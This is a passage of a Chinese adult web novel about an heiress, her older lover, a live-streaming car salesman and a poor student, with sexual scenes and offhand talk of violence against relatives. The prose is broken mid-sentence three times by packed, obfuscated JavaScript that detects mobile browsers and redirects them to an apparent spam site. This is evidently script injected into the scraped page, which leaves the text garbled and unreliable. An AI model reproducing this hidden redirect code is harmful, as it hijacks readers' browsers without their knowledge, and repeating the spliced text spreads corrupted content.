买完烧鸡,邢铎接回台静怡的话。 “我来获县做生意。” 台静怡“啧啧”两声,“你在乡下有什么生意?” 邢铎不满:“臭小孩,别瞧不起你叔。我在获县有家4s店,新包下的。” 台静怡不屑:“你这个老板,估计是那种花拳绣腿不管事的老板。” 邢铎低笑,锋利的五官融在锋利的天气里。 “我连店里新来的店员叫什么、住在哪儿都了解得一清二楚。”邢铎说,“比如说那个叫姜骁的小伙子,妥妥的穷小子,但人够勤奋,身兼数职,励志得很。” “姜骁……这个名字听起来好熟悉。” 说到这里,台静怡把视频电话挂断。 过会儿她把小程带回家。 小狼狗已经提着行李滚蛋,走之前把床单被罩换了套新的,还拖了地,倒了垃圾,甚至还买了批计生用品。 台静怡相当满意。 她大马金刀地往沙发里一坐,小程即刻意会,跪着钻进她的裙里。 台静怡手一挥,抓到几页纸。 是小程的体检报告、传染病四项报告、CT-/UU/NG-DNA三联检定性测定和HPV分型检测。 小程扒出个头,说这是大小姐独有的仪式感。 台静怡弯了弯眼,心里却在想“姜骁”。 总觉得她在获县见过姜骁。 3. Chapter 3 厂里出事后,李欣丢了工作。 她跟台静怡一样,是一名准大四学生。只不过她是二本学生,而台静怡念的大学,高贵得令人仰望——要把脖子仰断的那种仰望。 当初她放假早,比台静怡早到煤厂几天实习。 那时她在工位上放了两本书,一本是《德伯家的苔丝》,另一本是《红与黑》。苔丝的家庭是她家的真实写照,而于连的某些经历,则是她向上攀爬的动力。 李欣觉得,这辈子她最大的好运,就是抢先知道“台静怡是个货真价实的大小姐”这个消息。 她去网上搜台家的资料,了解到台家是世界几大财阀之一,是一个从唐朝起就世代显赫的家族。台家大小姐被保护得极好,网上几乎搜不到与她相关的文章。 认识台静怡的第一天,李欣在日记本里写了一句话。 “以她为名的阶级之下,怎样攀附并解构万分之一的她。” 才认识台静怡两天,厂里就被调查组彻查,从领导到工人,每个人都被查得连黑历史都不剩。后来工人各自失业,李欣就没再跟台静怡见过面。 李欣有一个妹妹和一个弟弟,妹妹读高三,弟弟是小学二年级。 妹妹是年级倒数几名,不爱学习,天天想着要通过傍大款实现阶级跨越。弟弟很恶毒,整天说:“爸爸妈妈重男轻女,所以大姐和二姐的所有东西都是我的!” 从前李欣觉得,只要好好学习,不说奔向小康,起码能活得体面些。 可读书时她拼尽全力,也才走了个普普通通的二本。 于是她选择巴结台静怡,跟大小姐做朋友,或是给大小姐做狗。 她想从大小姐这里捞到一些钱,一些世面,好能攒够逃离原生家庭的底气。 ** 台静怡跟小程厮混完的时候,李欣恰好去老区买卤货。 卤货店生意火爆,李欣一面排队,一面又恰好碰到台静怡从一条衖巷里走出。 不知是不是错觉,李欣总觉得这次碰面,台静怡要比从前多了点活人感—— 两腮多了点血色,白里透红的。 隔着一条和平街,台静怡站在街对面,朝李欣摆了摆手。 台静怡把头发盘起,吊带短裤配凉拖,浑然天成的松弛感。 在绿灯下,她顺着人行道朝前走,视线毫不遮掩地落在李欣身上。 李欣搓了搓脸,耳根泛红。 你的夏天还好吗? 李欣瞥了眼毒辣的夕阳,在心里自问自答:不太好。 今年的夏天格外热,仿佛要她持续中暑,持续眩晕,持续心跳加快…… 台静怡与李欣的目的地一致,同样是姜家卤货店。 买完卤货,俩人坐在店铺的露天小桌旁,边吃卤货边聊天。 李欣啃着中辣的鸭脖,话语诧异:“没想到大小姐也爱吃小县城的卤货。” 台静怡并不否认“大小姐”这个身份,想着反正李欣早查过她的资料,索性就不再伪装。 “美食不讲究阶级。”台静怡说,“富人也吃野菜,穷人也能吃肉。” 那是富人有的选。李欣腹诽。 不知什么原因,李欣总觉得台静怡买的那袋卤货的味道,清新又奇特。 “什么味的?”李欣朝台静怡那侧嗅了嗅。 “蜜汁味。” 台静怡把自己那袋卤货推到李欣手边,“你喜欢?随便吃。” 姜家卤货店开张十几年,从来不卖蜜汁味的卤货。 李欣不免多想,总不能是店主亲自为台静怡做了一个口味吧。 “我不能吃太辣的,这家老板就很好,说有蜜汁味的卤货。” 果然是这样。 李欣转头看向那个正给客人挑卤货的阿姨。 “那是姜二姨,今天轮到她来坐班。”李欣说道,“这家卤货店是家庭作坊,家里亲戚轮流坐班,一人一天。昨天是姜骁,今天是姜二姨。” “姜骁……” 台静怡好奇地眨了眨眼。原来之前买卤货时,遇见过几次的小哥就是姜骁啊。 李欣补充道:“姜骁还是县里的小网红呢。不过你刚来这边,应该没听过他的名字。” 李欣脱下吃卤货专用的手套,拿出裤袋里的手机,打开某抖,在搜索栏里输了几个字,手机页面随即跳出一个直播。 “喏,这就是姜骁。” 台静怡顺势看过去。 只见有个帅哥穿着黑色无袖T恤,站在4s店里,一边卖车宣传,一边念着直播弹幕。 “帅吧?”李欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249039|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问。 台静怡点了点头。 姜骁五官硬朗,身材高挺,标准的酷哥。 他帅得最独特的地方在于他那双极具故事感的眼睛。看到他那双褐色眼睛,任谁都会生出一种“这男人需要我怜惜保护”的欲望。 就像直播弹幕里说的那样:“内娱导演能不能给主播一个机会,让主播去演一个爱而不得的文艺青年。” 这是台静怡看到的最正经的一条弹幕。 大多数弹幕的画风是以下这种: “主播我牙疼,能不能来个急拔牙。” “主播你知道吴涛和戴涛有什么区别吗?” “主播我弟弟去悉尼留学了,我想悉尼的弟弟。” 诡异的是,主播好像就爱念这种弹幕。主播声音正经,好像不明白网友的意思,又好像是在装着明白揣糊涂。 主播事事有回应,但那回应不过是隔靴搔痒。 “不要再说什么积极了,直播间里不许积极。” “什么叫卖车也是卖,什么叫今天卖了几个了。” 台静怡目瞪口呆,表示不解。 “这样会有流量。”李欣说,“这两天很多营销号都在剪他念这种弹幕的片段,他直播间的流量可高了。” 李欣指着直播间的右上角,“你看,直播在线人数10万+呢。” “姜骁他爸赌博输了几百万,他妈妈被拖累得丢了工作,差点精神失常。”李欣说,“姜骁还有一个上大学的妹妹,一直勤工俭学,想减轻家里的负担。姜骁家里的状况简直是天崩走向,不过现在他的直播火了,应该能赚不少钱。” 显然,比起帅不帅、惨不惨的,李欣下意识更关注人家会赚多少钱。 台静怡也没多关注姜骁的家庭背景,拿自己的手机搜出他这场直播,加入直播间。 显然,比起同情施舍,她更喜欢添油加火。 “【爱喝罐罐奶】:‘主播,看看你的。’” 台静怡发出的这条弹幕,被姜骁朗声读出。 这条弹幕明明很清水,可姜骁读出声后,脸颊瞬间爆红,胸肌霎时充血,整个人像新媳妇见丈夫一样,手足无措,手忙脚乱。 好玩。 台静怡又发了一条弹幕:“主播,看看洋人的玩具。” 4. Chapter 4 发完这条弹幕,台静怡从直播间里退了出来。 没再管姜骁会做出什么反应。 她不至于连这点洞察力都没有——她确信,姜骁知道那个ID名为“爱喝罐罐奶”的网友的皮下就是她。 台静怡所有社交平台的名字都叫“爱喝罐罐奶”,头像也都是一个凑在镜头前面,眼睛一大一小像O.o的小猫脸。 信息很好记,只要用心。 姜骁无疑在用心记她的信息。 用余光瞥了下,李欣看着她那袋蜜汁卤货的眼神,犹如饿狼强忍着不去扑食。 李欣迫不及待想吞下一袋子的虚荣,那样也算体会一次被特殊关照是什么滋味——让老店专门为某人开辟一个新口味的特殊关照。 台静怡干脆把那袋蜜汁卤货扔给她,“你吃。” 起初李欣很矜持,礼貌推搡几回。 “这不好吧。” “你买的,你怎么不吃?” “我吃得差不多了,好像吃不下了。” 很快,她就被台静怡睨得发毛。硬着头皮随便夹了块肉,很不凑巧,夹到一条弯弯绕绕的鸭脖。 这意味着,她要当着台静怡的面,不那么优雅地咀嚼进食,甚至有可能遇到“肉塞牙”、“碎骨卡喉咙”等大几率突发事件。 “吃啊。”台静怡说。 李欣清晰感受到一种恶毒扑面而来。 原来台静怡知道她在蓄意巴结,于是想测试她愿意做多么忠诚的一条狗。 然而台静怡的恶毒,的确曾将她从水深火热中救出。 台静怡高高的个子挡在她身前,替她反击黄毛女等人的霸凌。她躲在一旁,看着台静怡扇黄毛女耳光,心里极其畅快。 那时她觉得,台静怡的恶毒是一种路见不平、两肋插刀的勇气。 李欣心里忽生一种挫败。 她啃起鸭脖,把吃相袒露在台静怡面前。 “好吃吗?”台静怡揉了揉李欣的头。 李欣点了点乌蓬蓬的脑袋。 幸好出门前洗了头。 时候不算早了,一抹小白月牙儿影影绰绰地缀在柘黄色和宵蓝色交接更迭的天上。 肉眼看,那月牙儿仿佛结了层绒兜兜的毛边,高高地悬着,像从人间扔了个毛线团到天上,分外有烟火气。 李欣被落日余光刺得眼前模糊。 模糊间,她看见台静怡起身,朝她伸出手。 像电影定格那样,台静怡意味不明的笑钉在她眼前。 “走,去找家饭馆吃饭。” 台静怡瞥了下桌上的一堆碎肉骨架,有小山那样高。 “你好像没吃饱。” 李欣背上双肩包,“我请客。我知道这边有家家常菜饭馆,菜很好吃。” 背包里沉甸甸的,有笔记本、日记本、书籍和充电宝,唯独没装钱。钱都在她的微信钱包里,但只有五百块钱。 说完要请客的话,李欣忽地一阵懊恼,鼻腔里的酸意止不住往外冒。 明明没钱,偏要打肿脸充胖子,佯装大方! 万一台静怡把她带进一家高档餐厅,要她请大客怎么办! 万一台静怡把所有贵菜都点了,她支付不起又该怎么办! 越想越懊恼,甚至悔恨,恨不能把一盒安眠药药片通通吞进肚里,把洗胃当作抹去记忆! 路上,李欣一直想着请客这事,直到小臂猛地被人拽了下—— 很痛。 “别往前走了,红灯。” 台静怡拽着李欣往后退几步,“在想什么,这么出神。” 李欣抬头看,原来俩人已经迈入梧桐长道。再往前走不远,就是要去的那家饭馆。 等红灯的那三十秒,长街两边的路灯一盏接一盏地亮起。 玻璃罩子恬静地把黄灯泡包裹,黄蒙蒙的光雾一圈一圈地散开。夜景是霓虹色的模糊,反把对过钟楼上空的白月亮衬得清晰。 台静怡敛着下巴颏,看着地上她们俩被路灯照出的两道影子。她用脚掸了掸李欣的影子,恰好有一片树叶飘落,她顺势踩住那片绿叶子,“嚓吱”一声响。 李欣偏头看了眼。 台静怡正踩着她的影子的左胸膛,心脏的位置。 绿叶子飘走,绿灯亮起。台静怡朝前走去,融入梧桐绿的夜里。 被按下暂停键的世界,再次骨碌碌地扭动起来。 ** 沿一条窄长的衖巷走到头,李欣指着前头那座墙面爬满绿藤的小阁楼。 “到了。” 踩着木楼梯,一级一级走上去,揿住门口的老式门铃,门“嘎吱”一声,从内打开。 店内装潢很有千禧年的味道,色彩鲜明的挂墙菜单、一排排灰沙发椅与长条木桌、挂满一面墙的便签纸条,吧台边,弹吉他的阿姨和在她脚边板鸭趴的小狗。 “两位小大姐,要吃什么呀。” 卷发阿姨摇着扇子走来——免费赠送的那种塑料味扇子,扇子一面是妇科广告,另一面是男科广告。 李欣喊了声“崔姨”,接过她递来的菜单。 台静怡选了个靠窗的地方坐下。 李欣坐到台静怡对面,兀自解释道:“崔姨是安徽六安县人。‘小大姐’是苏北地区的方言,意思是‘小姑娘’。” 台静怡支起脑袋,远远望着那头的崔姨。 “这样说来,‘小大姐’就相当于获县这边的‘小妮儿’喽。” 李欣被台静怡那口洋腔怪调的豫方言给逗笑。 她把菜单递过去,“点菜吧。” 心里忐忑,既怕台静怡乱点一通,超过自己的支付范围;又怕台静怡点得寥寥,显得自己很穷酸。 台静怡握着笔,笔尖在菜单里的各项菜名旁划动。 李欣的目光一路追随。 台静怡逗弄似的,笔尖在几道昂贵的菜中间顿了顿。 李欣呼吸猛滞。 台静怡勾起嘴唇,话语被笑声冲散。 “小狗一样。” “什么?”李欣歪了歪脸,没听清。 台静怡把菜单递给李欣,“这些,够不够。” 台静怡点了两碗米饭,两道菜,又要了一壶白开水。 一共48元,仅此而已。 “都说了我请客,你怎么点这么少。”李欣小声抱怨。 台静怡哪会不知道她的别扭心思,笑而不语。 等上菜时,她们俩不约而同地盯着饭桌看。 桌子铺着碎花蕾丝边桌布,桌布上压着一片玻璃,玻璃下压着许多小照片。 “当地很多人家,都爱把以前的老照片压在桌子的玻璃下。”说到这里,李欣把视线落在玻璃面上那些碗底或杯底烫出的痕迹。她掂起手腕,指尖顺着坑洼的痕迹,一圈一圈地摩挲着——摩挲着—— 台静怡盯着崔姨的背影,看崔姨备菜、炒菜,忙忙碌碌。 如果妈妈还在的话,应该也是这样为她做饭吧。 片刻,崔姨端着饭菜过来。 “看看这顿饭让你欢庆不欢庆。” 崔姨用干燥的手掌抚了抚台静怡的发丝,“好乖的小大姐。” 李欣说:“‘欢庆’就是‘喜欢’的意思。” 李欣把勺筷递给台静怡,“怎么一直盯着崔姨看?” 台静怡压下心里那股怪怪的火,收回目光,“没什么。” ** “倾诉欲”这东西,就像蚝油和瓶装番茄酱,有时“哼哧”倒半天也倒不出一点,有时一倒就是一大坨、一大堆甚至一整瓶,冗杂得难以收场,是种瞩目的难堪。 最初李欣本想套台静怡的话,结果一句也没套出,反被台静怡套得一干二净。 李欣后知后觉,此刻她犯了“交浅言深”的忌讳。 可把自己的许多事说给台静怡听后,她反而很放松。 因为知道台静怡自成一个阶级,金字塔顶层的人并不会操心底层人有什么秘密,听听笑笑就过去了。 李欣把自己的焦虑、敏感、不堪全都撕开给台静怡看。也许等天亮,她会鄙夷自己过分的诚实。但此刻,她只有一种打碎自己给大小姐看的快.感。 燥热的夏夜里,千万只蝉仿佛并不抱希望能熬到天亮,因此在此刻竭力嘶吼,要把喉咙喊穿。 楼下对过那家无人关顾的鞋店里,放着一首听歌识曲识别不来的歌曲,朦朦胧胧传进耳朵。人就像在一场梦里,半梦半醒地栽倒,时而沉浸,时而惊醒。 李欣要送台静怡回家。虽然很怪,但李欣想做一回骑士,也许是吃撑了没事干。 回去路上,李欣明显能感受到台静怡在刻意压抑一种情绪。 李欣不懂那种情绪,但只是站在台静怡身旁,她就感到自己将被那情绪吞噬。 她想跟台静怡拉开一些距离,台静怡却撵上她的影子,摘走趴在她肩上的小飞虫,又抚去她袖管处的小线头。 台静怡似乎很渴望一些细腻的肢体触碰。 “棠棠,你是不是双啊?” 李欣拘谨道。 台静怡为双性恋正名,“放心,我们双性恋不是见个女的男的就要上。” 只是看到崔姨,想到妈妈,恋母情绪泛滥而已。 “仿佛女性间的某种关系联结强到一种地步时,就不免会出现‘你为什么不是我生的’、‘我为什么不能被你所生’这种想法。”台静怡笑着说,“好奇怪呀,仿佛母女关系是最厚重、最真诚、最有分量的那种关系。” 台静怡怅惘的声音在夜里漾开。 “好奇怪呀,李欣。为什么会这样呢。” “也许世界是一个巨大的恋母活动。交友、恋爱等任何社交行径,都是在试图找到一种躺在子宫里,哪怕什么都不做也能享受被爱的安心感和温暖感。”李欣说。 李欣把台静怡送到家门口,看着她按响门铃,走入温馨的家。 是啊,为什么会这样呢。 为什么她不能被台静怡生出来,成为大小姐胯.下的产物呢。 ** 门关上的那一瞬,台静怡几乎是饿鬼投胎似的,奋力捞着送上门的胸肌,乱啮一通。 “铎叔,你回来了,我也回来了。” 邢铎任由她树袋鼠般地挂在自己身上,一手从她腿弯穿过,将她抱起,一手拍着她的后背,如母亲在安抚孩子。 “在外面吃饱了?”他问。 台静怡轻浅地“嗯”了声。 “可惜那盒从天津带来的烧鸡,还有刚给你做好的一桌菜,用不上了。” 不过也没什么,都是讨好她的手段。这种用不上,还有另一种。 “先洗澡还是先做?”邢铎“嘶”了声,“轻一点,啃断了,谁来喂你喝罐罐奶。” 台静怡扒出个脑袋,依依不舍的,叫邢铎看了发笑。 “谁饿着你了。” “没谁,我就是很想妈妈。” 说到这里,台静怡才抬起眼,好好打量面前的男人。 邢铎是标准的公路文里的硬汉形象,眉眼刚毅,稍一透露点别的情绪,就是铁汉柔情。三围也是标准的男妈妈,一手抱孩子,一手做饭炒菜不在话下。高高壮壮的,很安心。 台静怡:“做。” 不需任何铺垫,任何前奏。有什么事,之后再说。 “不可以责。”邢铎把她放在床上,动作轻得像置放易碎品,声音却很坚定。 台静怡拿口红在邢铎胸膛前写了一串。 “那玩这个。” 接着她拿手机拍了张照片,闪光灯“咔嚓”一照—— 这才发现,原来邢铎穿了件男仆装,大腿肉被丝袜勒着。 刚才她光顾着喝罐罐奶,竟然都没关注到。 通过镜子,邢铎看到自己胸肌上的那一行字母——“edge control ” **35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249040|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 事后无烟。 因为台静怡这辈子最想让抽烟的人去死,而邢铎还想活得长寿。 “你来这里,是不是想知道你妈妈的骨灰盒埋在哪里。” 邢铎趴在台静怡身旁,看见她拿枕头捂住脑袋,一副心事被说中的鸵鸟样子。 “平时能躺着就不坐着,宁愿天天待在家玩4399小游戏,也不愿意出去散步的懒散孩子,现在竟然大费周章地来到穷乡僻壤……” 台静怡翻了个身,把背留给邢铎。 “你搪塞李书记的那一套,在我面前不好使。” 邢铎贴上她的后背。 “你要耍手段,把你舅舅逼到这里。再耍手段,从他嘴里套出你妈妈的骨灰盒的消息。至于把周书记搞下台,来乡下散心看戏,再跟干妈叙叙旧,都是顺路做的次要事。对不对?” “对。” 台静怡承认。 “刚才在饭馆吃饭,我看到一个阿姨,就在想,如果我知道我妈的骨灰盒在哪里,那想她的时候,就不用看着别人的妈妈望梅止渴,而是能抱住那个骨灰盒说话、睡觉,像抱住她一样。” 当年她爸妈因车祸去世,双双火葬,两个活生生的人成了两个小小的骨灰盒。 她爸的骨灰盒埋在南京,而她妈妈的骨灰盒所在之处,她至今不曾得知。 姥姥还在的时候,目睹过她的恋母程度有多深。于是命令,家里所有人都不准告诉她骨灰盒的消息。 否则,真怕这个恋母的小姑娘,会把她妈妈的骨灰盒打开,将她妈妈的骨灰吃下。 姥爷不知道,叔叔不知道,每个干妈都不知道。 只有舅舅知道,那个至关重要的骨灰盒,到底在哪里待着。 这些年来,台静怡一直在尝试从舅舅嘴里撬出骨灰盒的下落。 只是屡次尝试,屡次失败。 这一次,台静怡准备搞个大的。 就如邢铎所说,目前为止,她在获县办的一切事都是顺路做的,最想做的事反而没做成。 “想揍刘万里是真的。”台静怡说,“谁让他女儿嘴那么臭。” 台静怡不允许任何人辱骂她的妈妈。 邢铎:“刘万里会进去。如果你想,他女儿也可以进去。这种一家都作恶多端的人,很好整治。” “那倒是不用。”台静怡很讲义气,“我跟刘万里说过,打他女儿一顿,他女儿出言不逊的事就此掀篇。” “煤厂死的那几个人也得罪你了?” “他们生前霸凌过我的朋友,这次也算是死得其所。” 邢铎把台静怡的发丝卷在指间,嗅了嗅,“为了这种琐事,脏了你的手,不值得。” 台静怡敷衍道:“好玩就行了。再说,这些还不都是把舅舅逼来前的消遣。” “恐怕你舅舅不会轻易来找你。”邢铎说,“以你这小孩的脾气,也不会再飞回上海去见他。” “我知道。”台静怡翻过身,“在老宅,你们一群大人聚在一起,这个催婚,那个物色人选。我气不顺,就走过去,一人捅了一刀。” “当时,好像是捅的你这里。”台静怡指着邢铎的侧腰,“现在你的伤都好了。” “你舅舅的伤还没好。”邢铎说,“他可不敢贸然前来,省得再被你这一刀、那一刀地划成筛子。” “你是在看笑话?我以为你们俩是一丘之貉。” 台静怡好奇道。 “我跟他大多数时间不合。”邢铎低笑,“他那伤,的确是需要好好养养。因为你走后,我也捅了他一刀。” 台静怡像听了件新鲜事,坐起身,眼睛发亮。 “你俩打架了?” 邢铎说是。 因为台老爷子有意抬她舅舅为正房,邢铎不干,私底下跟她舅舅约了一架。 彼此都有挂彩,但她舅舅或是不想得了便宜还卖乖,打到后面,几乎是任由邢铎乱揍,甚至是乱砍。 虽不致死,但她舅舅那身伤,的确要好好养一段时间。 “所以要他来获县,很难。”邢铎亲了亲台静怡的下巴,“除非另辟蹊径。” 邢铎心里有想法,此刻执行力打满,对着那身男仆装“咔咔”一顿乱拍,然后发了个朋友圈。 台静怡打开微信,只见那条朋友圈的文案由两国语言组成。 “你没被邀请。 You''re not invited.” 配图是几张排版极好、擦边既视感极强的图片。 台静怡点了个赞,并评论:“罪在朕躬。” 一分钟后,她舅舅点赞了这条朋友圈。但很快,她舅舅又把赞给取消。 “他看到了,并嫉妒了。”邢铎摇了摇手机,笑得像偷到腥的野猫,“等他的嫉妒值达到100%,不用你说,他自己就会来找你。” “但话又说回来——” 邢铎说道:“你们甥舅俩,平时都不联系么。” “舅舅他已读不回。”台静怡无奈地耸了耸肩。 已读不回好啊,那样自己才有可乘之机。 邢铎把头抵到台静怡的小腹,“腿分开,我也要喝罐罐奶。” ** 餍足后,邢铎乐悠悠地去洗澡。 完全把让人来送东西这件事抛诸脑后。 突然,一阵极有礼貌的敲门声响起。 台静怡套上睡裙,趿着鞋,不紧不慢地朝门边走去。 通过智能猫眼朝外看,看到门外站着一个熟人。 但她假装什么都不知道,推开门,懒洋洋地倚着门框,“你是……姜骁?” 姜骁提着一个装着扳手、钳子之类的工具箱,看到台静怡身上的痕迹时,眼神晦暗复杂。 “是我。”姜骁把工具箱递给台静怡,“他要的东西。” 台静怡抬起手腕,指腹绕在他手背的青筋上打圈。 “不进来坐坐吗?大主播。” 5. Chapter 5 装甲门上沾了些屋里空调的冷气,把身斜过,肩膀倚着门框,肌肤会感受到蜻蜓点水般的凉。 台静怡搂起吊带裙的裙边,见小腿肚上有一抹小桃红——蚊子刚咬的,在她与姜骁对话时。 原本姜骁打算送完东西就走,可突然被台静怡挠了下手背,仿佛猛受当头一棒。 又看到她挨蚊子咬,事不关己的心思“噗”一声瘪掉,做英雄的情怀一溜烟蹿升。 他拿出一瓶喷雾花露水,朝她的伤口处,“呲——呲——”两下。 姜骁是个思想天马行空的人,上学时,看图写话那一类题常是满分。 现在他又在假想,自己的姿势简直像个服务意识很强的情夫。 他单膝跪地,手托在她折起的腿弯底下,头上那顶黑帽的帽沿触及她的小腹。稍微抬点下巴,他的嘴唇就会从她的大腿根处一掠而过。 然后他假想中的情人开口,“主播很会嘛。” 被她这话刺激到似的,姜骁“嗖”一下起身,提起工具箱往屋里一扔,后退几步。 “砰——” 箱子落地的声音将下半身裹着浴巾的邢铎引出。 “小姜,你怎么……噢,想起来了。我之前说过,让你这个时间点来送扳手钳子。” 姜骁看到邢铎的胸肌被啃得不成样子,饿狼在粉色的两点上面,标记着气息和牙印。 不知道为什么,他竟然有些羡慕。对比起来,自己的胸膛干干净净,很是冷清。 “来都来了,吃个夜宵再走。”邢铎给台静怡介绍,“棠棠,这是你小姜哥哥。” 邢铎以为台静怡与姜骁是初次见面,却不知台静怡早用骚.话将姜骁全身摸遍。 “小姜哥哥,来都来了,进来坐坐。” 台静怡提起工具箱,话声在风里弥散。 从她的视角看,一身黑的姜骁几乎就要融进漆黑的夜里。 那么疏离,那么可望不可即,仿佛对着她曾发出的弹幕臆造桃色的,不是此刻正人君子般的他,而是他身体里的另一副舔狗人格。 慢慢地,姜骁自黑暗里踱出。 走起路来,一对维度完美的胸肌在夜里招展。 他面无表情,看起来是那样拽,拽得仿佛根本接受不了台静怡一贯的渣恶作风。 然而那仅仅是看起来。 他明明可以把她对他的撩拨告诉邢铎,像第三者在家长面前告孩子的状。 但他没有。 他进了屋,带上门。 空调温度调得很低,昭示着屋里曾上演一场燥.热的节目。哪怕此刻,那些热度也不曾消散。 垃圾桶里上打过结的安全套,沙发上被启用过的润.滑.液,过分犯皱的毯子。翻滚,从过道到客厅到卧室,再上二楼…… 一级一级的楼梯台阶上面,男人的皮衣、女人的吊带,零零散散地掉落。 邢铎这才想起还没打扫卫生。象征性地扫了两下后,又没了动静。 “真不好意思,让你见笑了。”邢铎朝姜骁说道。 其实是他有意炫耀。 见姜骁坐没地方坐,站没地方站,他心里有种被台静怡打上标记,沾满她的气息的爽快。 邢铎擦着头发,一路溜达,如同巡视领地的家犬。 后来去换了身家居服,再来到客厅,正目睹台静怡不由分说地把姜骁摁到沙发里。 那么高的小伙子,竟跟团棉花一般,任由台静怡揉打。 邢铎登时捕捉到俩人之间存有猫腻。 于是刚还说“来都来了”的人,这时语气变得很不友善。 “收拾收拾,准备吃饭。” 有情商的小孩都知道,去不算熟的朋友家里做客时,倘若主人家说该吃饭了,那就说明自己到了该离开的时候。这是一种心照不宣的礼貌。 台静怡忽视邢铎的话外之意,对姜骁说:“后院的电路坏了,你吃过宵夜,帮忙修修电路。”这是要姜骁留下。 话落,后院的灯恰好“滋啦”、“滋啦”地发出声音。灯泡明灭交替,煞有其事的样子。 姜骁的关注点很奇怪。 “说话就说话,你为什么要挽住我的胳膊。” 台静怡回:“因为你穿的是无袖T恤,我原本想扯着你的袖子。” “为什么要扯我的袖子。” “因为想让你往旁边挪一挪。” 台静怡指着姜骁手边,“再不挪一下,你的手会把那瓶润.滑.液给压爆。” 姜骁:…… 沙发很大,但不明水迹到处都是,干净且能坐的地方只占很小一块。 姜骁可以选择捏起润.滑.瓶,随便往旁一扔。但很显然,他不愿捏起那种私人用品,还是刚用过的。所以为防把瓶子压崩,他只好朝台静怡那边凑了凑。 这下离她更近,彼此侧个脸就能亲到嘴。 旁观者邢铎很无语,在心里记下姜骁的心机。 既然台静怡要姜骁留下,邢铎便没再多说,拐进厨房里,点火热菜。 不过他并不想安心做一个过气的男宠,也不会大发好心,把上位的机会留给姜骁。 他时不时找个理由,把台静怡叫进厨房里,拉上隔扇玻璃门,单纯跟她说话。 一扇门将两个世界隔开。 厨房里,台静怡站在邢铎身后,双手从他胸前、腰间绕过,一边揩油,一边给他系围裙。里头的灯不算亮,黄黯黯的灯泡从屋顶洒下光亮,氛围朦胧,幻视silk labo拍摄现场。 姜骁在隔扇门的另一端,瞥见门里面,男人把女人抱在灶台边,额头蹭着女人的锁骨。 女人却抬眼,朝玻璃门外望着。 女人把唇瓣搓圆,匀匀地朝前吐出一口气。 玻璃门前旋即蒙了层昏雾,也许是煮饭时的水蒸气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14249041|151525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是女人吐的那一口气。 蓦地被隔空被亲了口。 姜骁飞快移开视线,红意从耳根爬到颧骨。 台静怡在撩他,这种“撩”比临时起兴还草率,不过是上位者朝他吹了声口哨,笑他如笑猴子卖艺,卖给她看。 她搂着邢铎,却在隔空亲他。 她是吃着碗里看着锅里,吃着锅里看着灶里的那种人。 姜骁知道,为确保价值观不受玷污,他该远离这种人。 可就像在白天,他以主播的身份被她的弹幕撩得脸红那样,此刻在夜里,他仍不受控地被她撩到头昏脑涨。 大家都是明白人。 他明白她的意思,她也明白他的意思,更明白他明白她的意思。 她的意思是,她要渣他。 他的意思是,口嫌体正直。 作为明白人,他要明白她所让他明白的。 姜骁又把视线落在那道隔扇门上。 他微微张起嘴唇,心里做建设,自己这样是热得喘不上气——哪怕空调开到了16°。 其实是在回应台静怡的亲吻。 没人知道,“初次见面”的他们俩,此刻在隔空对视,亲吻。 心跳得尤其快。 这是偷.情的感觉。 ** 很不幸,宵夜还没热好,家里就停了电。 邢铎有种被老旧电路又控又责的不忿,捏着台静怡的脸蛋,“臭小孩,你找的什么破房子,三天两头停电。” 台静怡给出解决方案:“后院杂物间里有蜡烛,你去找找。先把蜡烛点上再说。” 那姜骁呢。 这个念头从邢铎脑里一闪而过。 “小姜,你……” 借着手机的光,邢铎拉开隔扇门,朝外喊了声。 本来想让姜骁起身去查看前后院的电路,可再一想,姜骁对院里布局并不熟悉。 男人间的竞争欲作祟,此刻他不愿给姜骁熟悉院里布局的机会,但又不能直接表现出他对姜骁的提防,那样会让台静怡觉得他是条不驯顺的废狗。 “你留在这里,陪着棠棠。她怕黑。” 邢铎对姜骁交代。 这样说,能让台静怡品出他的气度——看呐,一条狗把另一条狗拽来,给主人介绍,这是他的狗朋友,愿主人享受。 邢铎说:“我去去就回。” 过了会儿,邢铎拿着蜡烛折回。他从口袋里掏出打火机,准备把蜡烛点亮。 在把蜡烛点亮的那一瞬,他听到一声喘。 男的在喘。 他曾在台静怡手里发出过这样的声音,夹着嗓子,曲折婉转,爽的。 此刻听到这个声音,邢铎一下就脑补出客厅里的情境。 邢铎蹑手蹑脚,沿着一条长过道,做贼似的走近。 然后听到一句:“怕黑就摸男人□□?” 6. Chapter 6 姜骁听见了邢铎逐渐逼近的脚步声。很轻,窸窸窣窣的。 明明还隔着一段足以把“偷情”延续下来的距离,可姜骁却拿胳膊挡住脸,欲盖弥彰。 